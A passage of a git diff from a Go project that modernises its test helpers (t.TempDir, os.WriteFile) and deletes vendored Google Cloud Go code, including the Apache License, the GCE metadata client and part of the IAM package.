"testing" +) + +func ResponseContains(t *testing.T, r *httptest.ResponseRecorder, status int, bodySubstr string) { + t.Helper() + body, err := io.ReadAll(r.Result().Body) + Ok(t, err) + Assert(t, status == r.Result().StatusCode, "exp %d got %d, body: %s", status, r.Result().StatusCode, string(body)) + Assert(t, strings.Contains(string(body), bodySubstr), "exp %q to be contained in %q", bodySubstr, string(body)) +} diff --git a/testing/temp_files.go b/testing/temp_files.go index 6bab8f03ab..8ff0630b59 100644 --- a/testing/temp_files.go +++ b/testing/temp_files.go @@ -1,52 +1,38 @@ package testing import ( - "io/ioutil" "os" "path/filepath" "testing" ) -// TempDir creates a temporary directory and returns its path along -// with a cleanup function to be called via defer, ex: -// dir, cleanup := TempDir() -// defer cleanup() -func TempDir(t *testing.T) (string, func()) { - tmpDir, err := ioutil.TempDir("", "") - Ok(t, err) - return tmpDir, func() { - os.RemoveAll(tmpDir) // nolint: errcheck - } -} - // DirStructure creates a directory structure in a temporary directory. // structure describes the dir structure. If the value is another map, then the // key is the name of a directory. If the value is nil, then the key is the name // of a file. If val is a string then key is a file name and val is the file's content. // It returns the path to the temp directory containing the defined -// structure and a cleanup function to delete the directory. +// structure. // Example usage: -// versionConfig := ` -// terraform { -// required_version = "= 0.12.8" -// } -// ` -// tmpDir, cleanup := DirStructure(t, map[string]interface{}{ -// "pulldir": map[string]interface{}{ -// "project1": map[string]interface{}{ -// "main.tf": nil, -// }, -// "project2": map[string]interface{}{, -// "main.tf": versionConfig, -// }, -// }, -// }) -// defer cleanup() // -func DirStructure(t *testing.T, structure map[string]interface{}) (string, func()) { - tmpDir, cleanup := TempDir(t) +// versionConfig := ` +// terraform { +// required_version = "= 0.12.8" +// } +// ` +// tmpDir := DirStructure(t, map[string]interface{}{ +// "pulldir": map[string]interface{}{ +// "project1": map[string]interface{}{ +// "main.tf": nil, +// }, +// "project2": map[string]interface{}{, +// "main.tf": versionConfig, +// }, +// }, +// }) +func DirStructure(t *testing.T, structure map[string]interface{}) string { + tmpDir := t.TempDir() dirStructureGo(t, tmpDir, structure) - return tmpDir, cleanup + return tmpDir } func dirStructureGo(t *testing.T, parentDir string, structure map[string]interface{}) { @@ -65,7 +51,7 @@ func dirStructureGo(t *testing.T, parentDir string, structure map[string]interfa dirStructureGo(t, subDir, dirContents) } else if fileContent, ok := val.(string); ok { // If val is a string then key is a file name and val is the file's content - err := ioutil.WriteFile(filepath.Join(parentDir, key), []byte(fileContent), 0600) + err := os.WriteFile(filepath.Join(parentDir, key), []byte(fileContent), 0600) Ok(t, err) } } diff --git a/vendor/cloud.google.com/go/LICENSE b/vendor/cloud.google.com/go/LICENSE deleted file mode 100644 index d645695673..0000000000 --- a/vendor/cloud.google.com/go/LICENSE +++ /dev/null @@ -1,202 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright [yyyy] [name of copyright owner] - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/vendor/cloud.google.com/go/compute/metadata/metadata.go b/vendor/cloud.google.com/go/compute/metadata/metadata.go deleted file mode 100644 index 4ff4e2f1ca..0000000000 --- a/vendor/cloud.google.com/go/compute/metadata/metadata.go +++ /dev/null @@ -1,526 +0,0 @@ -// Copyright 2014 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// Package metadata provides access to Google Compute Engine (GCE) -// metadata and API service accounts. -// -// This package is a wrapper around the GCE metadata service, -// as documented at https://developers.google.com/compute/docs/metadata. -package metadata // import "cloud.google.com/go/compute/metadata" - -import ( - "context" - "encoding/json" - "fmt" - "io/ioutil" - "net" - "net/http" - "net/url" - "os" - "runtime" - "strings" - "sync" - "time" -) - -const ( - // metadataIP is the documented metadata server IP address. - metadataIP = "169.254.169.254" - - // metadataHostEnv is the environment variable specifying the - // GCE metadata hostname. If empty, the default value of - // metadataIP ("169.254.169.254") is used instead. - // This is variable name is not defined by any spec, as far as - // I know; it was made up for the Go package. - metadataHostEnv = "GCE_METADATA_HOST" - - userAgent = "gcloud-golang/0.1" -) - -type cachedValue struct { - k string - trim bool - mu sync.Mutex - v string -} - -var ( - projID = &cachedValue{k: "project/project-id", trim: true} - projNum = &cachedValue{k: "project/numeric-project-id", trim: true} - instID = &cachedValue{k: "instance/id", trim: true} -) - -var ( - defaultClient = &Client{hc: &http.Client{ - Transport: &http.Transport{ - Dial: (&net.Dialer{ - Timeout: 2 * time.Second, - KeepAlive: 30 * time.Second, - }).Dial, - ResponseHeaderTimeout: 2 * time.Second, - }, - }} - subscribeClient = &Client{hc: &http.Client{ - Transport: &http.Transport{ - Dial: (&net.Dialer{ - Timeout: 2 * time.Second, - KeepAlive: 30 * time.Second, - }).Dial, - }, - }} -) - -// NotDefinedError is returned when requested metadata is not defined. -// -// The underlying string is the suffix after "/computeMetadata/v1/". -// -// This error is not returned if the value is defined to be the empty -// string. -type NotDefinedError string - -func (suffix NotDefinedError) Error() string { - return fmt.Sprintf("metadata: GCE metadata %q not defined", string(suffix)) -} - -func (c *cachedValue) get(cl *Client) (v string, err error) { - defer c.mu.Unlock() - c.mu.Lock() - if c.v != "" { - return c.v, nil - } - if c.trim { - v, err = cl.getTrimmed(c.k) - } else { - v, err = cl.Get(c.k) - } - if err == nil { - c.v = v - } - return -} - -var ( - onGCEOnce sync.Once - onGCE bool -) - -// OnGCE reports whether this process is running on Google Compute Engine. -func OnGCE() bool { - onGCEOnce.Do(initOnGCE) - return onGCE -} - -func initOnGCE() { - onGCE = testOnGCE() -} - -func testOnGCE() bool { - // The user explicitly said they're on GCE, so trust them. - if os.Getenv(metadataHostEnv) != "" { - return true - } - - ctx, cancel := context.WithCancel(context.Background()) - defer cancel() - - resc := make(chan bool, 2) - - // Try two strategies in parallel. - // See https://github.com/googleapis/google-cloud-go/issues/194 - go func() { - req, _ := http.NewRequest("GET", "http://"+metadataIP, nil) - req.Header.Set("User-Agent", userAgent) - res, err := defaultClient.hc.Do(req.WithContext(ctx)) - if err != nil { - resc <- false - return - } - defer res.Body.Close() - resc <- res.Header.Get("Metadata-Flavor") == "Google" - }() - - go func() { - addrs, err := net.LookupHost("metadata.google.internal") - if err != nil || len(addrs) == 0 { - resc <- false - return - } - resc <- strsContains(addrs, metadataIP) - }() - - tryHarder := systemInfoSuggestsGCE() - if tryHarder { - res := <-resc - if res { - // The first strategy succeeded, so let's use it. - return true - } - // Wait for either the DNS or metadata server probe to - // contradict the other one and say we are running on - // GCE. Give it a lot of time to do so, since the system - // info already suggests we're running on a GCE BIOS. - timer := time.NewTimer(5 * time.Second) - defer timer.Stop() - select { - case res = <-resc: - return res - case <-timer.C: - // Too slow. Who knows what this system is. - return false - } - } - - // There's no hint from the system info that we're running on - // GCE, so use the first probe's result as truth, whether it's - // true or false. The goal here is to optimize for speed for - // users who are NOT running on GCE. We can't assume that - // either a DNS lookup or an HTTP request to a blackholed IP - // address is fast. Worst case this should return when the - // metaClient's Transport.ResponseHeaderTimeout or - // Transport.Dial.Timeout fires (in two seconds). - return <-resc -} - -// systemInfoSuggestsGCE reports whether the local system (without -// doing network requests) suggests that we're running on GCE. If this -// returns true, testOnGCE tries a bit harder to reach its metadata -// server. -func systemInfoSuggestsGCE() bool { - if runtime.GOOS != "linux" { - // We don't have any non-Linux clues available, at least yet. - return false - } - slurp, _ := ioutil.ReadFile("/sys/class/dmi/id/product_name") - name := strings.TrimSpace(string(slurp)) - return name == "Google" || name == "Google Compute Engine" -} - -// Subscribe calls Client.Subscribe on a client designed for subscribing (one with no -// ResponseHeaderTimeout). -func Subscribe(suffix string, fn func(v string, ok bool) error) error { - return subscribeClient.Subscribe(suffix, fn) -} - -// Get calls Client.Get on the default client. -func Get(suffix string) (string, error) { return defaultClient.Get(suffix) } - -// ProjectID returns the current instance's project ID string. -func ProjectID() (string, error) { return defaultClient.ProjectID() } - -// NumericProjectID returns the current instance's numeric project ID. -func NumericProjectID() (string, error) { return defaultClient.NumericProjectID() } - -// InternalIP returns the instance's primary internal IP address. -func InternalIP() (string, error) { return defaultClient.InternalIP() } - -// ExternalIP returns the instance's primary external (public) IP address. -func ExternalIP() (string, error) { return defaultClient.ExternalIP() } - -// Email calls Client.Email on the default client. -func Email(serviceAccount string) (string, error) { return defaultClient.Email(serviceAccount) } - -// Hostname returns the instance's hostname. This will be of the form -// ".c..internal". -func Hostname() (string, error) { return defaultClient.Hostname() } - -// InstanceTags returns the list of user-defined instance tags, -// assigned when initially creating a GCE instance. -func InstanceTags() ([]string, error) { return defaultClient.InstanceTags() } - -// InstanceID returns the current VM's numeric instance ID. -func InstanceID() (string, error) { return defaultClient.InstanceID() } - -// InstanceName returns the current VM's instance ID string. -func InstanceName() (string, error) { return defaultClient.InstanceName() } - -// Zone returns the current VM's zone, such as "us-central1-b". -func Zone() (string, error) { return defaultClient.Zone() } - -// InstanceAttributes calls Client.InstanceAttributes on the default client. -func InstanceAttributes() ([]string, error) { return defaultClient.InstanceAttributes() } - -// ProjectAttributes calls Client.ProjectAttributes on the default client. -func ProjectAttributes() ([]string, error) { return defaultClient.ProjectAttributes() } - -// InstanceAttributeValue calls Client.InstanceAttributeValue on the default client. -func InstanceAttributeValue(attr string) (string, error) { - return defaultClient.InstanceAttributeValue(attr) -} - -// ProjectAttributeValue calls Client.ProjectAttributeValue on the default client. -func ProjectAttributeValue(attr string) (string, error) { - return defaultClient.ProjectAttributeValue(attr) -} - -// Scopes calls Client.Scopes on the default client. -func Scopes(serviceAccount string) ([]string, error) { return defaultClient.Scopes(serviceAccount) } - -func strsContains(ss []string, s string) bool { - for _, v := range ss { - if v == s { - return true - } - } - return false -} - -// A Client provides metadata. -type Client struct { - hc *http.Client -} - -// NewClient returns a Client that can be used to fetch metadata. All HTTP requests -// will use the given http.Client instead of the default client. -func NewClient(c *http.Client) *Client { - return &Client{hc: c} -} - -// getETag returns a value from the metadata service as well as the associated ETag. -// This func is otherwise equivalent to Get. -func (c *Client) getETag(suffix string) (value, etag string, err error) { - // Using a fixed IP makes it very difficult to spoof the metadata service in - // a container, which is an important use-case for local testing of cloud - // deployments. To enable spoofing of the metadata service, the environment - // variable GCE_METADATA_HOST is first inspected to decide where metadata - // requests shall go. - host := os.Getenv(metadataHostEnv) - if host == "" { - // Using 169.254.169.254 instead of "metadata" here because Go - // binaries built with the "netgo" tag and without cgo won't - // know the search suffix for "metadata" is - // ".google.internal", and this IP address is documented as - // being stable anyway. - host = metadataIP - } - u := "http://" + host + "/computeMetadata/v1/" + suffix - req, _ := http.NewRequest("GET", u, nil) - req.Header.Set("Metadata-Flavor", "Google") - req.Header.Set("User-Agent", userAgent) - res, err := c.hc.Do(req) - if err != nil { - return "", "", err - } - defer res.Body.Close() - if res.StatusCode == http.StatusNotFound { - return "", "", NotDefinedError(suffix) - } - all, err := ioutil.ReadAll(res.Body) - if err != nil { - return "", "", err - } - if res.StatusCode != 200 { - return "", "", &Error{Code: res.StatusCode, Message: string(all)} - } - return string(all), res.Header.Get("Etag"), nil -} - -// Get returns a value from the metadata service. -// The suffix is appended to "http://${GCE_METADATA_HOST}/computeMetadata/v1/". -// -// If the GCE_METADATA_HOST environment variable is not defined, a default of -// 169.254.169.254 will be used instead. -// -// If the requested metadata is not defined, the returned error will -// be of type NotDefinedError. -func (c *Client) Get(suffix string) (string, error) { - val, _, err := c.getETag(suffix) - return val, err -} - -func (c *Client) getTrimmed(suffix string) (s string, err error) { - s, err = c.Get(suffix) - s = strings.TrimSpace(s) - return -} - -func (c *Client) lines(suffix string) ([]string, error) { - j, err := c.Get(suffix) - if err != nil { - return nil, err - } - s := strings.Split(strings.TrimSpace(j), "\n") - for i := range s { - s[i] = strings.TrimSpace(s[i]) - } - return s, nil -} - -// ProjectID returns the current instance's project ID string. -func (c *Client) ProjectID() (string, error) { return projID.get(c) } - -// NumericProjectID returns the current instance's numeric project ID. -func (c *Client) NumericProjectID() (string, error) { return projNum.get(c) } - -// InstanceID returns the current VM's numeric instance ID. -func (c *Client) InstanceID() (string, error) { return instID.get(c) } - -// InternalIP returns the instance's primary internal IP address. -func (c *Client) InternalIP() (string, error) { - return c.getTrimmed("instance/network-interfaces/0/ip") -} - -// Email returns the email address associated with the service account. -// The account may be empty or the string "default" to use the instance's -// main account. -func (c *Client) Email(serviceAccount string) (string, error) { - if serviceAccount == "" { - serviceAccount = "default" - } - return c.getTrimmed("instance/service-accounts/" + serviceAccount + "/email") -} - -// ExternalIP returns the instance's primary external (public) IP address. -func (c *Client) ExternalIP() (string, error) { - return c.getTrimmed("instance/network-interfaces/0/access-configs/0/external-ip") -} - -// Hostname returns the instance's hostname. This will be of the form -// ".c..internal". -func (c *Client) Hostname() (string, error) { - return c.getTrimmed("instance/hostname") -} - -// InstanceTags returns the list of user-defined instance tags, -// assigned when initially creating a GCE instance. -func (c *Client) InstanceTags() ([]string, error) { - var s []string - j, err := c.Get("instance/tags") - if err != nil { - return nil, err - } - if err := json.NewDecoder(strings.NewReader(j)).Decode(&s); err != nil { - return nil, err - } - return s, nil -} - -// InstanceName returns the current VM's instance ID string. -func (c *Client) InstanceName() (string, error) { - host, err := c.Hostname() - if err != nil { - return "", err - } - return strings.Split(host, ".")[0], nil -} - -// Zone returns the current VM's zone, such as "us-central1-b". -func (c *Client) Zone() (string, error) { - zone, err := c.getTrimmed("instance/zone") - // zone is of the form "projects//zones/". - if err != nil { - return "", err - } - return zone[strings.LastIndex(zone, "/")+1:], nil -} - -// InstanceAttributes returns the list of user-defined attributes, -// assigned when initially creating a GCE VM instance. The value of an -// attribute can be obtained with InstanceAttributeValue. -func (c *Client) InstanceAttributes() ([]string, error) { return c.lines("instance/attributes/") } - -// ProjectAttributes returns the list of user-defined attributes -// applying to the project as a whole, not just this VM. The value of -// an attribute can be obtained with ProjectAttributeValue. -func (c *Client) ProjectAttributes() ([]string, error) { return c.lines("project/attributes/") } - -// InstanceAttributeValue returns the value of the provided VM -// instance attribute. -// -// If the requested attribute is not defined, the returned error will -// be of type NotDefinedError. -// -// InstanceAttributeValue may return ("", nil) if the attribute was -// defined to be the empty string. -func (c *Client) InstanceAttributeValue(attr string) (string, error) { - return c.Get("instance/attributes/" + attr) -} - -// ProjectAttributeValue returns the value of the provided -// project attribute. -// -// If the requested attribute is not defined, the returned error will -// be of type NotDefinedError. -// -// ProjectAttributeValue may return ("", nil) if the attribute was -// defined to be the empty string. -func (c *Client) ProjectAttributeValue(attr string) (string, error) { - return c.Get("project/attributes/" + attr) -} - -// Scopes returns the service account scopes for the given account. -// The account may be empty or the string "default" to use the instance's -// main account. -func (c *Client) Scopes(serviceAccount string) ([]string, error) { - if serviceAccount == "" { - serviceAccount = "default" - } - return c.lines("instance/service-accounts/" + serviceAccount + "/scopes") -} - -// Subscribe subscribes to a value from the metadata service. -// The suffix is appended to "http://${GCE_METADATA_HOST}/computeMetadata/v1/". -// The suffix may contain query parameters. -// -// Subscribe calls fn with the latest metadata value indicated by the provided -// suffix. If the metadata value is deleted, fn is called with the empty string -// and ok false. Subscribe blocks until fn returns a non-nil error or the value -// is deleted. Subscribe returns the error value returned from the last call to -// fn, which may be nil when ok == false. -func (c *Client) Subscribe(suffix string, fn func(v string, ok bool) error) error { - const failedSubscribeSleep = time.Second * 5 - - // First check to see if the metadata value exists at all. - val, lastETag, err := c.getETag(suffix) - if err != nil { - return err - } - - if err := fn(val, true); err != nil { - return err - } - - ok := true - if strings.ContainsRune(suffix, '?') { - suffix += "&wait_for_change=true&last_etag=" - } else { - suffix += "?wait_for_change=true&last_etag=" - } - for { - val, etag, err := c.getETag(suffix + url.QueryEscape(lastETag)) - if err != nil { - if _, deleted := err.(NotDefinedError); !deleted { - time.Sleep(failedSubscribeSleep) - continue // Retry on other errors. - } - ok = false - } - lastETag = etag - - if err := fn(val, ok); err != nil || !ok { - return err - } - } -} - -// Error contains an error response from the server. -type Error struct { - // Code is the HTTP response status code. - Code int - // Message is the server response message. - Message string -} - -func (e *Error) Error() string { - return fmt.Sprintf("compute: Received %d `%s`", e.Code, e.Message) -} diff --git a/vendor/cloud.google.com/go/iam/iam.go b/vendor/cloud.google.com/go/iam/iam.go deleted file mode 100644 index 5232cb6730..0000000000 --- a/vendor/cloud.google.com/go/iam/iam.go +++ /dev/null @@ -1,315 +0,0 @@ -// Copyright 2016 Google LLC -// -// Licensed under the Apache License, Version 2.0 (the "License"); -// you may not use this file except in compliance with the License. -// You may obtain a copy of the License at -// -// http://www.apache.org/licenses/LICENSE-2.0 -// -// Unless required by applicable law or agreed to in writing, software -// distributed under the License is distributed on an "AS IS" BASIS, -// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -// See the License for the specific language governing permissions and -// limitations under the License. - -// Package iam supports the resource-specific operations of Google Cloud -// IAM (Identity and Access Management) for the Google Cloud Libraries. -// See https://cloud.google.com/iam for more about IAM. -// -// Users of the Google Cloud Libraries will typically not use this package -// directly. Instead they will begin with some resource that supports IAM, like -// a pubsub topic, and call its IAM method to get a Handle for that resource. -package iam - -import ( - "context" - "fmt" - "time" - - gax "github.com/googleapis/gax-go/v2" - pb "google.golang.org/genproto/googleapis/iam/v1" - "google.golang.org/grpc" - "google.golang.org/grpc/codes" - "google.golang.org/grpc/metadata" -) - -// client abstracts the IAMPolicy API to allow multiple implementations. -type client interface { - Get(ctx context.Context, resource string) (*pb.Policy, error) - Set(ctx context.Context, resource string, p *pb.Policy) error - Test(ctx context.Context, resource string, perms []string) ([]string, error) -} - -// grpcClient implements client for the standard gRPC-based IAMPolicy service. -type grpcClient struct { - c pb.IAMPolicyClient -} - -var withRetry = gax.WithRetry(func() gax.Retryer { - return gax.OnCodes([]codes.Code{ - codes.DeadlineExceeded, - codes.Unavailable, - }, gax.Backoff{ - Initial: 100 * time.Millisecond, - Max: 60 * time.Second, - Multiplier: 1.3, - }) -}) - -func (g *grpcClient) Get(ctx context.Context, resource string) (*pb.Policy, error) { - var proto *pb.Policy - md := metadata.Pairs("x-goog-request-params", fmt.Sprintf("%s=%v", "resource", resource)) - ctx = insertMetadata(ctx, md) - - err := gax.Invoke(ctx, func(ctx context.Context, _ gax.CallSettings) error { - var err error - proto, err = g.c.GetIamPolicy(ctx, &pb.GetIamPolicyRequest{Resource: resource}) - return err - }, withRetry) - if err != nil { - return nil, err - } - return proto, nil -} - -func (g *grpcClient) Set(ctx context.Context, resource string, p *pb.Policy) error { - md := metadata.Pairs("x-goog-request-params", fmt.Sprintf("%s=%v", "resource", resource)) - ctx = insertMetadata(ctx, md) - - return gax.Invoke(ctx, func(ctx context.Context, _ gax.CallSettings) error { - _, err := g.c.SetIamPolicy(ctx, &pb.SetIamPolicyRequest{ - Resource: resource, - Policy: p, - }) - return err - }, withRetry) -} - -func (g *grpcClient) Test(ctx context.Context, resource string, perms []string) ([]string, error) { - var res *pb.TestIamPermissionsResponse - md := metadata.Pairs("x-goog-request-params", fmt.Sprintf("%s=%v", "resource", resource)) - ctx = insertMetadata(ctx, md) - - err := gax.Invoke(ctx, func(ctx context.Context, _ gax.CallSettings) error { - var err error - res, err = g.c.TestIamPermissions(ctx, &pb.TestIamPermissionsRequest{ - Resource: resource, - Permissions: perms, - }) - return err - }, withRetry) - if err != nil { - return nil, err - } - return res.Permissions, nil -} - -// A Handle provides IAM operations for a resource. -type Handle struct { - c client - resource string -} - -// InternalNewHandle is for use by the Google Cloud Libraries only. -// -// InternalNewHandle returns a Handle for resource. -// The conn parameter refers to a server that must support the IAMPolicy service. -func InternalNewHandle(conn *grpc.ClientConn, resource string) *Handle { - return InternalNewHandleGRPCClient(pb.NewIAMPolicyClient(conn), resource) -} - -// InternalNewHandleGRPCClient is for use by the Google Cloud Libraries only. -// -// InternalNewHandleClient returns a Handle for resource using the given -// grpc service that implements IAM as a mixin -func InternalNewHandleGRPCClient(c pb.IAMPolicyClient, resource string) *Handle { - return InternalNewHandleClient(&grpcClient{c: c}, resource) -} - -// InternalNewHandleClient is for use by the Google Cloud Libraries only. -// -// InternalNewHandleClient returns a Handle for resource using the given -// client implementation. -func InternalNewHandleClient(c client, resource string) *Handle { - return &Handle{ - c: c, - resource: resource, - } -} - -// Policy retrieves the IAM policy for the resource. -func (h *Handle) Policy(ctx context.Context) (*Policy, error) { - proto, err := h.c.Get(ctx, h.resource) - if err != nil { - return nil, err - } - return &Policy{InternalProto: proto}, nil -} - -// SetPolicy replaces the resource's current policy with the supplied Policy. -// -// If policy was created from a prior call to Get, then the modification will -// only succeed if the policy has not changed since the Get. -func (h *Handle) SetPolicy(ctx context.Context, policy *Policy) error { - return h.c.Set(ctx, h.resource, policy.InternalProto) -} - -// TestPermissions returns the subset of permissions that the caller has on the resource. -func (h *Handle) TestPermissions(ctx context.Context, permissions []string) ([]string, error) { - return h.c.Test(ctx, h.resource, permissions) -} - -// A RoleName is a name representing a collection of permissions. -type RoleName string - -// Common role names. -const ( - Owner RoleName = "roles/owner" - Editor RoleName = "roles/editor" - Viewer RoleName = "roles/viewer" -) - -const ( - // AllUsers is a special member that denotes all users, even unauthenticated ones. - AllUsers = "allUsers" - - // AllAuthenticatedUsers is a special member that denotes all authenticated users. - AllAuthenticatedUsers = "allAuthenticatedUsers" -) - -// A Policy is a list of Bindings representing roles -// granted to members. -// -// The zero Policy is a valid policy with no bindings. -type Policy struct { - // TODO(jba): when type aliases are available, put Policy into an internal package - // and provide an exported alias here. - - // This field is exported for use by the Google Cloud Libraries only. - // It may become unexported in a future release. - InternalProto *pb.Policy -} - -// Members returns the list of members with the supplied role. -// The return value should not be modified. Use Add and Remove -// to modify the members of a role. -func (p *Policy) Members(r RoleName) []string { - b := p.binding(r) - if b == nil { - return nil - } - return b.Members -} - -// HasRole reports whether member has role r. -func (p *Policy) HasRole(member string, r RoleName) bool { - return memberIndex(member, p.binding(r)) >= 0 -} - -// Add adds member member to role r if it is not already present. -// A new binding is created if there is no binding for the role. -func (p *Policy) Add(member string, r RoleName) { - b := p.binding(r) - if b == nil { - if p.InternalProto == nil { - p.InternalProto = &pb.Policy{} - } - p.InternalProto.Bindings = append(p.InternalProto.Bindings, &pb.Binding{ - Role: string(r), - Members: []string{member}, - }) - return - } - if memberIndex(member, b) < 0 { - b.Members = append(b.Members, member) - return - } -} - -// Remove removes member from role r if it is present. -func (p *Policy) Remove(member string, r RoleName) { - bi := p.bindingIndex(r) - if bi < 0 { - return - } - bindings := p.InternalProto.Bindings - b := bindings[bi] - mi := memberIndex(member, b) - if mi < 0 { - return - } - // Order doesn't matter for bindings or members, so to remove, move the last item - // into the removed spot and shrink the slice. - if len(b.Members) == 1 { - // Remove binding. - last := len(bindings) - 1 - bindings[bi] = bindings[last] - bindings[last] = nil - p.InternalProto.Bindings = bindings[:last] - return - } - // Remove member. - // TODO(jba): worry about multiple copies of m? - last := len(b.Members) - 1 - b.Members[mi] = b.Members[last] - b.Members[last] = "" - b.Members = b.Members[:last] -} - -// Roles returns the names of all the roles that appear in 